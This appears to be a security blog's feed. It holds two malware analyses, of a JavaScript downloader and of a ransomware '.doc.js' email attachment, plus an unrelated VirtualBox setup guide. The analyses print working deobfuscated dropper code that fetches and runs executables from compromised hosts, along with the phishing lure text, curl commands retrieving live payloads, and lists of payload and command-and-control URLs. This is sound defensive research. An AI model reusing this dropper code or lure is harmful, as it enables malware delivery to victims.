    dhhas3uu += String[_0x12bd[3]](b[_0x12bd[2]](i) ^ key[_0x12bd[2]](j)), j++, j == key[_0x12bd[1]] && (j = 0);
};

// Evaluate the deobfuscated JavaScript
eval(dhhas3uu);  
function gorut(e){  
    var t = "14-MASOOM.COM JLINKSMS.COM CHEAPRIZESMS.COM ELEMENTGUMRUK[.]COM/language IBMDATACAP[.]COM/wp-content/themes/academy WELLNESSHERBAL[.]COM/wp-content/themes/tiny-framework ITSMYTEA[.]COM/xmlrpc www.LANDTOURJAPAN[.]COM INTEGRITYSMSNG[.]COM CREATIVEFOODSTYLIST[.]COM www.KMDERUNJEWELRY[.]COM ADENYAOTELEET[.]COM MAJORCASE[.]ORG ISTANBULKLIMA[.]ORG ENTHELP[.]COM HEALINGSPRINGWORKSHOPS[.]COM/wp-content/themes/travel-blogger TUGRAHOTELS[.]COM www.florianbruening[.]com JUALTOWERTRIANGLE[.]COM MAAKCARD[.]COM www.jakimbost[.]pl THEVILLAGEVETERINARYHOSPITAL[.]COM".split(" ");

    ex = "" == e ? ".exe" : ".pdf";

    for(var M = 0; M < t.length; M++) {
        var n = new ActiveXObject("WScript.Shell"), O = n.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + Math.round(100000000.0 * Math.random()) + ex, E = 0, r = new ActiveXObject("MSXML2.XMLHTTP");
        r.onreadystatechange = function() {
            if(4 == r.readyState && 200 == r.status) {
                var e = new ActiveXObject("ADODB.Stream");
                if(e.open(), e.type = 1, e.write(r.ResponseBody), 5000.0 < e.size) {
                    E = 1, e.position = 0, e.saveToFile(O, 2);
                    try {
                        n.Run(O, 1, 0);
                    } catch(t) {

                    }
                }
                e.close();
            }
        };
        try {
            r.open("GET", "hxxp://" + t[M] + "/get.php?dgfdfg=" + Math.random() + "&key=" + key + e, !1), r.send();
        } catch(a) {

        }
        if(1 == E) break;
    }
}

key = "f5", gorut(""), gorut("&pdf=search");  

Removing a few lines in gorut() routine of the download script allows to print out download links for the two payloads it attempts to get. Basically you need to remove the ActiveX code and modify r.open to console.log function removing the !1 parameter. Running this in node.js will give us a list of payload downloads for the second stage.

function gorut(e){  
    var t = "14-MASOOM.COM JLINKSMS.COM CHEAPRIZESMS.COM ELEMENTGUMRUK[.]COM/language IBMDATACAP[.]COM/wp-content/themes/academy WELLNESSHERBAL[.]COM/wp-content/themes/tiny-framework ITSMYTEA[.]COM/xmlrpc www.LANDTOURJAPAN[.]COM INTEGRITYSMSNG[.]COM CREATIVEFOODSTYLIST[.]COM www.KMDERUNJEWELRY[.]COM ADENYAOTELEET[.]COM MAJORCASE[.]ORG ISTANBULKLIMA[.]ORG ENTHELP[.]COM HEALINGSPRINGWORKSHOPS[.]COM/wp-content/themes/travel-blogger TUGRAHOTELS[.]COM www.florianbruening[.]com JUALTOWERTRIANGLE[.]COM MAAKCARD[.]COM www.jakimbost[.]pl THEVILLAGEVETERINARYHOSPITAL[.]COM".split(" ");

    ex = "" == e ? ".exe" : ".pdf";
    for(var M = 0; M < t.length; M++) {
        console.log("GET", "hxxp://" + t[M] + "/get.php?dgfdfg=" + Math.random() + "&key=" + key + e);
    }
}
GET hxxp://14-MASOOM[.]COM/get.php?dgfdfg=0.2042055584024638&key=f5
GET hxxp://JLINKSMS[.]COM/get.php?dgfdfg=0.4357860581949353&key=f5
GET hxxp://CHEAPRIZESMS[.]COM/get.php?dgfdfg=0.9873443075921386&key=f5
GET hxxp://ELEMENTGUMRUK[.]COM/language/get.php?dgfdfg=0.697707447456196&key=f5
GET hxxp://IBMDATACAP[.]COM/wp-content/themes/academy/get.php?dgfdfg=0.21713185170665383&key=f5
GET hxxp://WELLNESSHERBAL[.]COM/wp-content/themes/tiny-framework/get.php?dgfdfg=0.5791356258559972&key=f5
GET hxxp://ITSMYTEA[.]COM/xmlrpc/get.php?dgfdfg=0.5410346924327314&key=f5
GET hxxp://www.LANDTOURJAPAN[.]COM/get.php?dgfdfg=0.418818884762004&key=f5
GET hxxp://INTEGRITYSMSNG[.]COM/get.php?dgfdfg=0.029143808409571648&key=f5
GET hxxp://CREATIVEFOODSTYLIST[.]COM/get.php?dgfdfg=0.3915193013381213&key=f5
GET hxxp://www.KMDERUNJEWELRY[.]COM/get.php?dgfdfg=0.07052874471992254&key=f5
GET hxxp://ADENYAOTELEET[.]COM/get.php?dgfdfg=0.8330098567530513&key=f5
GET hxxp://MAJORCASE[.]ORG/get.php?dgfdfg=0.5714250793680549&key=f5
GET hxxp://ISTANBULKLIMA[.]ORG/get.php?dgfdfg=0.6278960527852178&key=f5
GET hxxp://ENTHELP[.]COM/get.php?dgfdfg=0.48202996351756155&key=f5
GET hxxp://HEALINGSPRINGWORKSHOPS[.]COM/wp-content/themes/travel-blogger/get.php?dgfdfg=0.2205682178027928&key=f5
GET hxxp://TUGRAHOTELS[.]COM/get.php?dgfdfg=0.5332026502583176&key=f5
GET hxxp://www.florianbruening[.]com/get.php?dgfdfg=0.0033856993541121483&key=f5
GET hxxp://JUALTOWERTRIANGLE[.]COM/get.php?dgfdfg=0.7687414824031293&key=f5
GET hxxp://MAAKCARD[.]COM/get.php?dgfdfg=0.14662570762448013&key=f5
GET hxxp://www.jakimbost[.]pl/get.php?dgfdfg=0.4327525827102363&key=f5
GET hxxp://THEVILLAGEVETERINARYHOSPITAL[.]COM/get.php?dgfdfg=0.48534721904434264&key=f5
GET hxxp://14-MASOOM[.]COM/get.php?dgfdfg=0.6709314966574311&key=f5&pdf=search
GET hxxp://JLINKSMS[.]COM/get.php?dgfdfg=0.020113263744860888&key=f5&pdf=search
GET hxxp://CHEAPRIZESMS[.]COM/get.php?dgfdfg=0.6769137345254421&key=f5&pdf=search
GET hxxp://ELEMENTGUMRUK[.]COM/language/get.php?dgfdfg=0.1893466750625521&key=f5&pdf=search
GET hxxp://IBMDATACAP[.]COM/wp-content/themes/academy/get.php?dgfdfg=0.11392477317713201&key=f5&pdf=search
GET hxxp://WELLNESSHERBAL[.]COM/wp-content/themes/tiny-framework/get.php?dgfdfg=0.7516817327123135&key=f5&pdf=search
GET hxxp://ITSMYTEA[.]COM/xmlrpc/get.php?dgfdfg=0.45238890522159636&key=f5&pdf=search
GET hxxp://www.LANDTOURJAPAN[.]COM/get.php?dgfdfg=0.5003419334534556&key=f5&pdf=search
GET hxxp://INTEGRITYSMSNG[.]COM/get.php?dgfdfg=0.7602681068237871&key=f5&pdf=search
GET hxxp://CREATIVEFOODSTYLIST[.]COM/get.php?dgfdfg=0.2591306504327804&key=f5&pdf=search
GET hxxp://www.KMDERUNJEWELRY[.]COM/get.php?dgfdfg=0.19865264417603612&key=f5&pdf=search
GET hxxp://ADENYAOTELEET[.]COM/get.php?dgfdfg=0.8011750828009099&key=f5&pdf=search
GET hxxp://MAJORCASE[.]ORG/get.php?dgfdfg=0.7017634396906942&key=f5&pdf=search
GET hxxp://ISTANBULKLIMA[.]ORG/get.php?dgfdfg=0.33236109651625156&key=f5&pdf=search
GET hxxp://ENTHELP[.]COM/get.php?dgfdfg=0.25800628517754376&key=f5&pdf=search
GET hxxp://HEALINGSPRINGWORKSHOPS[.]COM/wp-content/themes/travel-blogger/get.php?dgfdfg=0.4463676530867815&key=f5&pdf=search
GET hxxp://TUGRAHOTELS[.]COM/get.php?dgfdfg=0.5060989174526185&key=f5&pdf=search
GET hxxp://www.florianbruening[.]com/get.php?dgfdfg=0.8751774763222784&key=f5&pdf=search
GET hxxp://JUALTOWERTRIANGLE[.]COM/get.php?dgfdfg=0.08316186326555908&key=f5&pdf=search
GET hxxp://MAAKCARD[.]COM/get.php?dgfdfg=0.8340241997502744&key=f5&pdf=search
GET hxxp://www.jakimbost[.]pl/get.php?dgfdfg=0.9773174184374511&key=f5&pdf=search
GET hxxp://THEVILLAGEVETERINARYHOSPITAL[.]COM/get.php?dgfdfg=0.6214603304397315&key=f5&pdf=search

So now that we have the payload URLs we can download them for further analysis. It attempts to download either a malicious executable or pdf. The URLs without &pdf=search on the end are the MS-DOS executables. When attempting to download these I noticed that my curl command was failing with my Firefox user agent (404 page). Switching it to a traditional IE10 user agent allowed me to download the payload.

Failed Command
curl -vA "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0" -L "hxxp://TUGRAHOTELS[.]COM/get.php?dgfdfg=0.5332026502583176&key=f5" > bad_dl.exe

% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                               Dload  Upload   Total   Spent    Left  Speed
0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 159.253.42.153...
Connected to TUGRAHOTELS[.]COM (159.253.42.153) port 80 (#0)

GET /get.php?dgfdfg=0.5332026502583176&key=f5 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Host: TUGRAHOTELS[.]COM
Accept: */*

HTTP/1.1 200 OK
Content-Type: application/x-msdownload
Content-Disposition: inline; filename=Adobe_update-YXXQ1RX4IL6LV2M.exe
Content-Length: 3
Date: Tue, 11 Aug 2015 21:01:02 GMT
Accept-Ranges: bytes
Server LiteSpeed is not blacklisted
Server: LiteSpeed
Connection: close

{ [data not shown]
100     3  100     3    0     0      2      0  0:00:01  0:00:01 --:--:--     2
Closing connection 0
Successful Command
curl -vA "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)" -L "hxxp://TUGRAHOTELS[.]COM/get.php?dgfdfg=0.5332026502583176&key=f5" > bad

% Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                               Dload  Upload   Total   Spent    Left  Speed
0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0*   Trying 159.253.42.153...
Connected to TUGRAHOTELS.COM (159.253.42.153) port 80 (#0)
GET /get.php?dgfdfg=0.5332026502583176&key=f5 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)
Host: TUGRAHOTELS[.]COM
Accept: */*

HTTP/1.1 200 OK
Content-Type: application/x-msdownload
Content-Disposition: inline; filename=Adobe_update-ZLFNDKIGUO7.exe
Date: Tue, 11 Aug 2015 21:03:35 GMT
Accept-Ranges: bytes
Server LiteSpeed is not blacklisted
Server: LiteSpeed
Connection: close

{ [data not shown]
100  214k    0  214k    0     0  89872      0 --:--:--  0:00:02 --:--:-- 89872
Closing connection 0

Unfortunately, I was only able to get the network indicators below from the executable and none from the pdf file. I am working on beefing up my sandboxing environment to better handle situations like this but until then I will have to leave this post as is for now. Hopefully I can provide an update on the malware family as well as any further OSINT I find. Please feel free to contact me about the analysis or any questions you have.

Adobe_update-YXXQ1RX4IL6LV2M.exe Analysis
GET hxxp://109.120.142.168:80/ac33/b/btc.exe
GET hxxp://109.120.142.168:80/ac33/p/pc.exe
GET hxxp://109.120.142.168:80/ac33/g/gc.exe
GET hxxp://109.120.142.168:80/ac33/bk/bkc.exe
POST hxxp://109.120.180.29:80/intro/data.php
Server IP: 109.120.180.29

GET hxxp://constitution.org:80/usdeclar.txt
Server IP: 54.175.58.135
]]>
<![CDATA[Ransomware from Emails with JavaScript Attachments]]>Recently I have been seeing emails with zip attachments that contain a malicious JavaScript file marked as a double dot extension (.doc.js). The JavaScript is obfuscated but debofuscating it is rather easy and I wanted to share my analysis. The infection appears to be Ransomware, most likely a CryptoWall

]]>
http://blog.elauqsap.com/ransomware-from-emails-with-javascript-attachments/68c75cc3-5b91-47d3-9fa6-b8aa82f53121Wed, 05 Aug 2015 14:12:00 GMT

Recently I have been seeing emails with zip attachments that contain a malicious JavaScript file marked as a double dot extension (.doc.js). The JavaScript is obfuscated but debofuscating it is rather easy and I wanted to share my analysis. The infection appears to be Ransomware, most likely a CryptoWall 3.0 variant but I did not verify it.

Email Indicators
Received: from uplander.websitewelcome.com (uplander.websitewelcome.com [192.185.179.118])
Subject: Notice to appear in Court #00000536215
From: "State Court" <allan.barnett@ns963.websitewelcome.com>
Reply-To: "State Court" <allan.barnett@ns963.websitewelcome.com>
Attachment: 00000536215.zip -> 00000536215.doc.js
Message Body
Notice to Appear,

This is to inform you to appear in the Court on the August 11 for your case hearing.
Please, do not forget to bring all the documents related to the case.
Note: The case may be heard by the judge in your absence if you do not come.

The copy of Court Notice is attached to this email.

Yours faithfully,
Allan Barnett,
Court Secretary.
Deobfuscating the JavaScript

Below is the original decompressed file contents. It tries to hide itself as a better known file type (.doc) but any modern operating system would most likely recognize and interpret the JavaScript file. Luckily for us, it is rather easy to deobfuscate something like this. You can use a tool like JSDetox or use a JavaScript interpreter like node.js. The key thing we need to overcome is that JSDetox and node.js most likely won't have access to ActiveX so we have to remove the check otherwise it will not deobfuscate.

// redacted obfuscated variables
var jlavws = 'fpubnwcytwieoenq sdblf(hfyrm...';  
var jdmkdr = 'mtgreilnxgxse(a"p%cTiEoMfPf%h"f)...';  
var xxjg = 'ncrkewandpyxsntgaztbeoclhxacnsgaej...';  
var bpm = 'ptrrseaawms"l)o;v r q k w c...';  
var his = ' oxtau.eslakvheqTmoyFyiilzeg(dfsnk,r h2p)...';  
var bey = 'ldh(l)k;b c o o yiqfe p(irfnt b>g u0b)...';  
var yjb = 'iwmcaygqeusr/ufeixvjeh1m.ojzptgh...';

var buh = 'l;q';  
var a1 = jlavws + jdmkdr + xxjg + bpm + his + bey + yjb + buh;  
var a2 = "";  
var a3 = 2;  
var a4 = 0; // Hardcode to 0, originally set to 10

/* 1.
  Checks for ActiveX otherwise it will not deobfuscate
  We can comment this out in JSDetox and hard code a4 to 0
*/
var y = new ActiveXObject("Scripting.Dictionary");  
y.add("a", "t");  
if(y.Item("a") == "t") {  
    a4 = 0;
} else {
    a4 = 10;
};

/* 2.
  This function will deobfuscate and build the string to be evaluated below
*/
var a5 = a1.length;  
var a = 0;  
while(a < a5) {  
    a2 += a1.charAt(a);
    a += a3 + a4;
};

/* 3.
  Transforms to set a6 = 'eval'
*/
var rosa = ["e", "0", "v", "0", "a", "0", "l", "0"];  
var tosta = rosa[0 + a4] + rosa[2 + a4] + rosa[4 + a4] + rosa[6 + a4];  
var a6 = tosta;

/* 4.
  The eval() function and a2 is the deobfuscated string to run
*/
// this[a6](a2);

I added comments to point out the key points to be aware of when running this through JSDetox/node. The first comment is where the script checks for ActiveX which both tools will not have access to out of the box. Looking at the code we can see the default value a4 = 10 breaks the while loop before it can build the deobfuscated string. If we simply hard code a4 = 0 before the loop and comment/delete the while loop it will build the string as intended. In the end the two values we care most about are a2 and a6. When the script gets to this[a6](a2) it is essentially performing an eval() operation on the debofuscated string stored in a2.

function dl(fr, fn, rn){  
  var ws = new ActiveXObject("WScript.Shell");
  var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn;
  var xo = new ActiveXObject("MSXML2.XMLHTTP");
  xo.onreadystatechange = function (){
    if (xo.readyState === 4){
      var xa = new ActiveXObject("ADODB.Stream");
      xa.open();
      xa.type = 1;
      xa.write(xo.ResponseBody);
      xa.position = 0;
      xa.saveToFile(fn, 2);
      xa.close();
    };
  };
  try {
    xo.open("GET", fr, false);
    xo.send();
    if (rn > 0){
      ws.Run(fn, 0, 0);
    };
  }  catch (er){  };
}
dl("hxxp://31072015a[.]com/images/five1.jpg", "532747350.exe",1);   // Download payload 1  
dl("hxxp://31072015a[.]com/images/five2.jpg", "211954869.exe", 1);  // Download payload 2  

Now that we have a readable version of the JavaScript it is pretty easy to tell what it is doing. Basically the script downloads the two files five1.jpg and five2.jpg which are actually MS-DOS executables. Then using a Windows Script Host Shell it attempts to run each of the downloaded payloads.

Here are some of the network indicators and behaviors I observed from sandboxing the payloads. If you have any questions or comments about the analysis feel free to reach out to me.

five1.jpg/532747350.exe Analysis
# Payload Download: Response
* Connected to 31072015a[.]com (195.225.228.156) port 80 (#0)
GET /images/five1.jpg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Host: 31072015a[.]com
Accept: */*

HTTP/1.1 200 OK
Server: Apache/2.2.15 (CentOS)
Last-Modified: Wed, 05 Aug 2015 21:35:01 GMT
ETag: "c10000c-40e00-51c972cdc4b23"
Accept-Ranges: bytes
Content-Length: 265728
Connection: close

# Registry Activity
Modifies registry to disable system restore
Creates a file in the windows start menu folder
Modifies autorun registry key values

# Network Traffic
GET hxxp://ip-addr[.]es:80/
Server IP: 188.165.164.184

POST hxxp://bethel[.]vn:80/wp-content/themes/twentytwelve/b.php?w=cg1odjtnay
POST hxxp://bethel[.]vn:80/wp-content/themes/twentytwelve/b.php?n=t1dfbt93fg
POST hxxp://bethel[.]vn:80/wp-content/themes/twentytwelve/b.php?h=qovvtc388iq4bm
POST hxxp://bethel[.]vn:80/wp-content/themes/twentytwelve/b.php?t=4l425ka9qjn
Server IP: 112.78.2.209

POST hxxp://aeusasoftball[.]com:80/wp-content/themes/sports-team-theme/includes/adva...cg1odjtnay
Server IP: 184.168.47.225

GET hxxp://boschservisi.info[.]tr:80/cgi-sys/suspendedpage.cgi?b=cg1odjtnay
GET hxxp://boschservisi.info[.]tr:80/cgi-sys/suspendedpage.cgi?f=t1dfbt93fg
GET hxxp://boschservisi.info[.]tr:80/cgi-sys/suspendedpage.cgi?p=qovvtc388iq4bm
GET hxxp://boschservisi.info[.]tr:80/cgi-sys/suspendedpage.cgi?y=4l425ka9qjn
POST hxxp://boschservisi.info[.]tr:80/wp-content/themes/twentytwelve/d.php?b=cg1odjtnay
POST hxxp://boschservisi.info[.]tr:80/wp-content/themes/twentytwelve/d.php?f=t1dfbt93fg
POST hxxp://boschservisi.info[.]tr:80/wp-content/themes/twentytwelve/d.php?p=qovvtc388iq4bm
POST hxxp://boschservisi.info[.]tr:80/wp-content/themes/twentytwelve/d.php?y=4l425ka9qjn
Server IP: 94.102.1.207

POST hxxp://hotfrance[.]ru:80/wp-content/themes/dreamynight-10/a.php?x=cg1odjtnay
POST hxxp://hotfrance[.]ru:80/wp-content/themes/dreamynight-10/a.php?u=t1dfbt93fg
POST hxxp://hotfrance[.]ru:80/wp-content/themes/dreamynight-10/a.php?p=4l425ka9qjn
Server IP: 95.85.4.87
five2.jpg/211954869.exe Analysis
# Payload Download: Response
* Connected to 31072015a[.]com (107.15.99.91) port 80 (#0)
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101 Firefox/37.0
Host: 31072015a[.]com
Accept: */*
HTTP/1.1 200 OK

Server: Apache/2.2.15 (CentOS)
Last-Modified: Wed, 05 Aug 2015 21:30:02 GMT
ETag: "c100037-3a600-51c971b00f877"
Accept-Ranges: bytes
Content-Length: 239104
Connection: close
Content-Type: image/jpeg

# Network Traffic
Post-Infection Requests:
POST hxxp://prestigecarstorage.com[.]au:80/wp-includes/Text/Text.php
Server IP: 192.186.240.131

POST hxxp://mcmamina[.]cz:80/media/plg_quickicon_joomlaupdate/plg_quickicon_joomlaupdate.php
Server IP: 82.208.47.134

POST hxxp://buyseoplan[.]com:80/wp-admin/includes/includes.php
Server IP: 160.153.34.130

POST hxxp://letssaidiana[.]com:80/wp-admin/user/user.php
Server IP: 50.62.121.1

POST hxxp://kenyadivas[.]com:80/media/editors/editors.php
Server IP: 192.254.185.141

POST hxxp://keithgerchak[.]com:80/wp-admin/css/css.php
Server IP: 50.63.93.1

POST hxxp://binarycashbackdaily[.]com:80/wp-admin/maint/maint.php
Server IP: 198.15.118.164

POST hxxp://apexsitesolutions[.]com:80/main/wp-admin/mod_html.php
Server IP: 184.168.179.1

POST hxxp://employerservice[.]net:80/wp-includes/theme-compat/theme-compat.php
Server IP: 23.229.242.167

POST hxxp://hmb.com[.]au:80/wp-admin/images/images.php
Server IP: 192.186.203.132

POST hxxp://denver-computer-repairs[.]com:80/wordpress2/wp-includes/fckeditor.php
Server IP: 173.201.146.180

POST hxxp://hatmandoo.co[.]uk:80/cache/mod_menu/mod_menu.php
Server IP: 192.254.235.245

POST hxxp://wizjafotografii[.]pl:80/wp-content/languages/languages.php
Server IP: 46.16.186.66
]]>
<![CDATA[Setting Up A Separate Development Environment in OS X]]>I like to keep my development environment separate from my host environment on my personal laptop. A simple solution for keeping them apart is to set up a headless virtual machine with a samba share. I like this method the most because you can set up a lightweight server that

]]>
http://blog.elauqsap.com/setting-up-a-separate-development-environment-in-os-x/28cd8abf-7163-4b1b-b083-f26d971cd3d2Sat, 14 Feb 2015 07:30:00 GMT

I like to keep my development environment separate from my host environment on my personal laptop. A simple solution for keeping them apart is to set up a headless virtual machine with a samba share. I like this method the most because you can set up a lightweight server that can easily load your code base into your favorite IDE or text editor. I will be using VirtualBox in this example but you can use Fusion as well, it just requires a different command.

Prerequisites

  1. Download VirtualBox from here
  2. Download Ubuntu Server (14.04 LTS in this example) from here

First, I am going to setup my dotfiles to include a few aliases for interacting with the virtual machine. In your shell configuration file (zsh here) add the equivalent aliases so you can quickly start, mount, and remote into the server. Remember to replace $USER with whatever uid name you will be using on the guest server. Also $GUEST needs to be changed to whatever you call the virtual machine.

# Ubuntu devbox aliases
alias devbox='VBoxManage startvm "$GUEST" --type headless'  
alias sshdev='ssh devbox'  
alias mountdev='mount_smbfs //devbox/$USER ~/devbox'  
alias umountdev='umount ~/devbox'  

After you have VirtualBox installed go ahead and create a new Virtual Machine. I carved off 2048 MB in RAM and 20 GB in storage for the development box. You should now have a basic virtual machine, but before you can boot it up we need to take care of a few things. First, create a Host-Only network that we will later attach as the second adapter (VirtualBox -> Preferences -> Network -> Host-only Networks). If "vboxnet0" is not already there, click the add button and then edit. Configuration listed below.

# Adapter
IPv4 Address: 10.10.1.1
IPv4 Network Mask: 255.255.255.248
IPv6 Address:
IPv6 Network Mask Length: 0

# DHCP Server
Uncheck Enable Server

Close out of VirtualBox's settings and highlight the virtual machine we created. We need to attach the ISO we downloaded earlier to the IDE Controller (Settings -> Storage). Once you have added the ISO to empty IDE slot we are going to switch to the Networking tab to setup our interfaces. The first adapter should be set to NAT. If it is not selected go to the drop down for "Attached to:" and add it. Flip into the second adapter and set it to be Host-only. We are done configuring the virtual machine, go ahead and boot the server and follow the basic install instructions. With Ubuntu, you can choose to install Samba and Open SSH Server during the installation process so that kills two birds with one stone for us.

Once the installation is complete and the server reboots, we need to modify two files on the system. The first file I have listed below is your interfaces file. The first adapter "eth0" will be your NAT so the host can communicate outbound to receive packages. Leave this interface configured for DHCP. The second adapter "eth1" is on our Host-Only network and needs a static address. This network allows the host system to connect to any of the public facing services on the headless virtual machine (SSH, Web Server, MongoDB, etc).

# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo  
iface lo inet loopback

# The primary network interface
auto eth0  
iface eth0 inet dhcp

# Host-only interface
auto eth1  
iface eth1 inet static  
    address     10.10.1.2
    netmask     255.255.255.248
    network     10.10.1.0
    broadcast   10.10.1.7

The second file is our samba share configuration that will let you mount the home directory of the guest user. This is where you will store your code base and anything else related to the application. Once you mount it on your host system you can open the project up in your favorite IDE or text editor and begin working. Just remember to save often and unmount the share before shutting down the virtual machine.

[dev]
    comment = $USER
    path = /home/$USER
    guest ok = no
    browseable = no
    writeable = yes
    create mask = 0600
    directory mask = 0700

On your OS X system, edit your hosts file to include an entry for your virtual machine. This way you can address it by a friendly host name rather than an IP address.

127.0.0.1   localhost  
255.255.255.255 broadcasthost  
::1             localhost
fe80::1%lo0 localhost

# VirtualBox Hosts
10.10.1.2       devbox  

That's it! Now you can easily start, mount, and control your virtual machine all from your host system. Just enter "devbox" or whatever alias you changed it to and the virtual machine will boot up in headless mode.

]]>